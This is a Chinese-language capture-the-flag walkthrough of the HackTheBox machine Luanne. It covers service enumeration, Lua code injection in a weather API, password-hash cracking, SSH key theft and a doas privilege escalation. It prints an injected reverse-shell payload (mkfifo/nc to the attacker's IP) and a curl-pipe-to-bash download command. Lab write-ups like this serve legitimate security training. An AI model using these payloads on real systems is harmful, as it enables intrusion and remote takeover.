Luanne-Writeup

最近都是备考OSCP,没事就在打实验靶机目前已经获得了35个proof.txt,不想做了延迟太难受了。然后我预约的是10月22号在线考试,希望能一次过,还不清楚到时候网络环境怎么样,要是太烂的做题起来就难受了…

61894282.png

概述 (Overview)

79588390.png

HOST:10.10.10.218
时间: 2021-07-22
机器作者: polarbearer
困难程度: easy
描述: 考察用户对目标服务的信息收集能力,并通过枚举出的服务尝试攻击脆弱的口令,并利用Lua脚本的代码注入获得立足点。
Flags:User: <md5>, Root: <md5>
MACHINE TAGS:

* Web
* Bash
* Injection
* Web Fuzzing
* File Misconfiguration

攻击链 (Kiillchain)

通过对目标服务器进行Nmap扫描,识别出开放的HTTP服务信息并对目录进行枚举。对接口查询参数进入注入枚举,利用Lua脚本的代码注入成功执行系统命令获得立足点。
通过枚举 basic 认证配置得到r.michaels用户的明文密码,随后请求本地3001端口运行的HTTP服务得到用户的 id_rsa 文件,成功进行横向移动。最终通过 NetBSD 系统特有的 netpgp 命令,解密备份压缩包并解密明文完成权限提升。

枚举(Enumeration)

首先使用 Nmap 进行开局,对目标服务器开放的端口进行服务枚举:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

开放端口较少仅三个,分别是 HTTP(80,9001),SSH(22)服务。通过SSH服务提供的指纹可以知道系统是 NetBSD,HTTP服务运行在Nginx中间上。

Web - 80

浏览 80 端口开发的HTTP服务,首页需要进行 basic认证,弱口令尝试无效:

79940400.png
对目录路径进行枚举发现存在 /robots.txt
81618755.png
通过 httpie 查看响应请求正文,发现出现 401 状态后会在页面指向一个 127.0.0.1:3000 的地址。
80007989.png

HTTP 响应状态代码 401 Unauthorized 指因为缺少目标资源的有效身份验证信息。此状态与WWW-Authenticate描述正确验证方法的Header一起发送。

Supervisord - 9001

在 9001 端口服务信息可以知道运行的是 Medusa httpd 1.12 (Supervisor process manager),通过文章 https://askding.github.io/Kali/Exploit/Supervisord.html 得到该服务的信息:

82152912.png

该服务我也经常使用,一般我会用在保障Docker容器启动时用于拉起运行服务,常用于启动nginx、Django等这种。它的Web管理页面我也使用过一下没有太过关注,没想到还是存在安全风险的。尝试验证 Supervisord 服务是否存在已知的高危漏洞:

82486277.png

可以看到,还是需要满足前置条件需要 basic 认证。通过 https://github.com/Supervisor/supervisor/blob/master/docs/configuration.rst 得到该服务的默认账号密码,尝试后发现成功访问状态管理页面。

82773999.png

82798187.png

从列表中可知该服务管理了三个进程,页面信息中知悉了版本为 Supervisor 4.2.0,查看了一下名称为 processes 的进程日志,发现页面输出的信息类似执行 ps 指令:

82933412.png
通过日志信息获知到目标服务器本地监听运行了一个httpd服务,暂时没办法利用。随后使用 dirsearch 对站点进行路径枚举,发现存在一个二级目录: /weather/forecast
84134250.png

立足点(Foothold)

通过返回的JSON信息推测当前路径可能为 API 接口,随后带入 city 参数进行访问:
84157489.png
85048357.png
尝试在传递的 list 字符串后面加入特殊字符,添加单引号后成功触发了服务报错。从错误信息中可以知道这是一个 lua 脚本运行的http服务,路径与 Supervisord 服务中管理的进程一致。
84324259.png
可以推断出当前服务的对外HTTP服务是Nginx,随后通过配置路径反向请求 127.0.0.1:3000 上运行的 weather.lua HTTP服务。 随后尝试添加字符串 } 发现存在 500 错误,推测可能存在代码注入:
85033270.png
通过搜索发现一篇很好的文章 https://www.syhunt.com/en/index.php?n=Articles.LuaVulnerabilities,参考文章内容对脚本进行漏洞验证。
85253778.png

观察到当出现单引号的时候会提示脚本错误,输入其他非城市列表里的内容时候会提示内容不存在,首先怀疑是否是SQL注入,然后用 sqlmap 扫了一遍发现并不识别,开始尝试命令注入。

尝试语法:http://10.10.10.218/weather/forecast?city=') os.execute('id,但显示500错误。

232892.png

尝试添加注释符,并进行urlencode:http://10.10.10.218/weather/forecast?city=%27)%20os.execute(%27id%27)--+--,成功返回注入命令执行返回的结果:
76764973.png
随后通过此处的命令执行exploit对目录进行枚举,在 .htpasswd 文件中发现用于basic认证的用户密码:
78314572.png
通过 John 工具枚举该密码hash成功得到明文密码:webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 -> “iamthebest”

使用命令执行最终得到 Reverse Shell:
/weather/forecast?city=')+os.execute('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.15+9900+>/tmp/f')--%2b--
81471287.png

首先查看下 weather.lua 脚本了解下漏洞产生原因,使用占位符注入了恶意参数随后使用load()函数触发了代码执行。
83235054.png

横向移动(Lateral Movement)

在使用 ps -auxwww 查看运行进时留意到可疑的进程,同样是 weather.lua 脚本服务但绝对路径却与上面的不一样:

r.michaels   185  0.0  0.0  34996  2008 ?     Is   10:53AM 0:00.01 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www

尝试查看脚本提示:Permission denied,看来是需要横移至 r.michaels 用户才行。
使用先前的 exploit 进行反弹shell尝试,请求需要basic认证。当加入.htpasswd获得的账号密码后返回 500 错误,失败了。
6320563.png

长时间的尝试后发现无法再次进行命令执行,尝试寻找 /usr/libexec/httpd 的历史漏洞。Google搜了搜 /usr/libexec/httpd 得到 https://man.netbsd.org/NetBSD-6.0.1/httpd.8 文档,详细了解下进行运行时的参数:

/usr/libexec/httpd  是超文本传输协议的守护进程

-u 允许将格式 /~user/ 的统一资源定位器转换到目录 ~user/public_html
-X 启用目录索引
-s 强制日志记录始终设置为 stderr
-i 监听地址
-l 监听端口
-L 这个暂时不知道是啥
-P 创建pid文件
-U 指定httpd运行用户或用户名组
-b 选项的 mon 模式

其中 -u 参数引起了我的注意,尝试访问 /~r.michaels/ 查是否能访问该用户的公共文件:

75799727.png
当basic认证通过后,发现存在一个 id_rsa 私钥,下载该私钥并成功登录 r.michaels 用户shell,获得 User Flag。
75877937.png

权限提升(Privilege Escalation)

查看 /home/r.michaels/devel/webapi/weather.lua 文件,发现脚本里直接写死了返回信息所以并不会触发之前的命令执行漏洞:
76794501.png
在 r.michaels 用户的 backups 目录中发现存在一个备份文件:
76905167.png
多方尝试后结合系统版本和文件后缀名才找到有用的信息:
77089339.png

https://man.netbsd.org/netpgp.1 - netpgp - 签名、验证、加密和解密应用程序

77405996.png
77380894.png

先利用netpgp对文件进行解码,为保证文件完整性将其保存成Base64格式数据,随后将Base64编码内容还原成二进制内容,通过PE头信息去 https://www.filesignatures.net/index.php 网站查询文件最终格式。

77364512.png
好吧,它就是GZIP格式的文件,直接解压就好。
77556903.png
在解压出来的 .htpasswd 文件中发现新的一组basic认证配置:webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.。老规矩,枚举后得到明文:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
尝试使用该组密码进行su,失败提示:Authentication error
在传递 linpeas.sh 脚本至目标服务器进行深度枚举,发现 r.michaels 可以运行 doas 命令:
79235642.png

doas — 以另一个用户身份执行命令

使用该命令配置刚得到的明文密码成功完成权限提升。
79539006.png

复盘

在命令注入成功后,最简单的上线方式是 kali 开启http服务并放置好反弹shell命令文件,目标主机执行 curl <你的IP>/shell.sh | bash 完成上线。

根据文件头十六进制查文件类型/根据文件类型查文件头信息网站:https://www.filesignatures.net/index.php

70598872.png

参考